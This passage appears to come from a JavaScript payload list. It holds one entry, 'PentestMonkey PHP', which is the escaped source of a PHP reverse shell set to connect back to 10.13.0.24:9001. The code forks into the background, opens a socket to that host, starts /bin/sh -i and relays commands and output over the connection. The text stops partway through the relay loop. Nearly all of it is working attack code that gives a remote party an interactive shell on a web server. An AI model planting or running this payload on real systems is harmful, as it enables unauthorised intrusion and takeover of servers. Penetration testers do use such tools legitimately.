// fix escaping ['PentestMonkey PHP', '\r\n <?php\r\n \/\/ php-reverse-shell - A Reverse Shell implementation in PHP\r\n \/\/ Copyright (C) 2007 pentestmonkey@pentestmonkey.net\r\n\r\n set_time_limit (0);\r\n $VERSION = \"1.0\";\r\n $ip = \'10.13.0.24\'; \/\/ You have changed this\r\n $port = 9001; \/\/ And this\r\n $chunk_size = 1400;\r\n $write_a = null;\r\n $error_a = null;\r\n $shell = \'uname -a; w; id; \/bin\/sh -i\';\r\n $daemon = 0;\r\n $debug = 0;\r\n\r\n \/\/\r\n \/\/ Daemonise ourself if possible to avoid zombies later\r\n \/\/\r\n\r\n \/\/ pcntl_fork is hardly ever available, but will allow us to daemonise\r\n \/\/ our php process and avoid zombies. Worth a try...\r\n if (function_exists(\'pcntl_fork\')) {\r\n \/\/ Fork and have the parent process exit\r\n $pid = pcntl_fork();\r\n \r\n if ($pid == -1) {\r\n printit(\"ERROR: Can\'t fork\");\r\n exit(1);\r\n }\r\n \r\n if ($pid) {\r\n exit(0); \/\/ Parent exits\r\n }\r\n\r\n \/\/ Make the current process a session leader\r\n \/\/ Will only succeed if we forked\r\n if (posix_setsid() == -1) {\r\n printit(\"Error: Can\'t setsid()\");\r\n exit(1);\r\n }\r\n\r\n $daemon = 1;\r\n } else {\r\n printit(\"WARNING: Failed to daemonise. This is quite common and not fatal.\");\r\n }\r\n\r\n \/\/ Change to a safe directory\r\n chdir(\"\/\");\r\n\r\n \/\/ Remove any umask we inherited\r\n umask(0);\r\n\r\n \/\/\r\n \/\/ Do the reverse shell...\r\n \/\/\r\n\r\n \/\/ Open reverse connection\r\n $sock = fsockopen($ip, $port, $errno, $errstr, 30);\r\n if (!$sock) {\r\n printit(\"$errstr ($errno)\");\r\n exit(1);\r\n }\r\n\r\n \/\/ Spawn shell process\r\n $descriptorspec = array(\r\n 0 => array(\"pipe\", \"r\"), \/\/ stdin is a pipe that the child will read from\r\n 1 => array(\"pipe\", \"w\"), \/\/ stdout is a pipe that the child will write to\r\n 2 => array(\"pipe\", \"w\") \/\/ stderr is a pipe that the child will write to\r\n );\r\n\r\n $process = proc_open($shell, $descriptorspec, $pipes);\r\n\r\n if (!is_resource($process)) {\r\n printit(\"ERROR: Can\'t spawn shell\");\r\n exit(1);\r\n }\r\n\r\n \/\/ Set everything to non-blocking\r\n \/\/ Reason: Occsionally reads will block, even though stream_select tells us they won\'t\r\n stream_set_blocking($pipes[0], 0);\r\n stream_set_blocking($pipes[1], 0);\r\n stream_set_blocking($pipes[2], 0);\r\n stream_set_blocking($sock, 0);\r\n\r\n printit(\"Successfully opened reverse shell to $ip:$port\");\r\n\r\n while (1) {\r\n \/\/ Check for end of TCP connection\r\n if (feof($sock)) {\r\n printit(\"ERROR: Shell connection terminated\");\r\n break;\r\n }\r\n\r\n \/\/ Check for end of STDOUT\r\n if (feof($pipes[1])) {\r\n printit(\"ERROR: Shell process terminated\");\r\n break;\r\n }\r\n\r\n \/\/ Wait until a command is end down $sock, or some\r\n \/\/ command output is available on STDOUT or STDERR\r\n $read_a = array($sock, $pipes[1], $pipes[2]);\r\n $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\r\n\r\n \/\/ If we can read from the TCP socket, send\r\n \/\/ data to process\'s STDIN\r\n if (in_array($sock, $read_a)) {\r\n if ($debug) printit(\"SOCK READ\");\r\n $input = fread($sock, $chunk_size);\r\n if ($debug) printit(\"SOCK: $input\");\r\n fwrite($pipes[0], $input);\r\n }\r\n\r\n \/\/ If we can read from the process\'s STDOUT\r\n \/\/ send data down tcp connection\r\n if (in_array($pipes[1], $read_a)) {\r\n if ($debug) printit(\"STDOUT READ\");\r\n $input = fread($pipes[1], $chunk_size);\r\n if ($debug) printit(\"STDOUT: $input\");\r\n fwrite($sock, $input);\r\n }\r\n\r\n \/\/ If we can read from the process\'s STDERR\r\n \/\/ send data down tcp connection\r\n if (in_array($pipes[2], $read_a)) {\r\n if ($debug) printit(\"STDERR READ\");\r\n $input = fread($pipes[2], $chunk_size);\r\n if ($debug) printit(\"STDERR: $input\");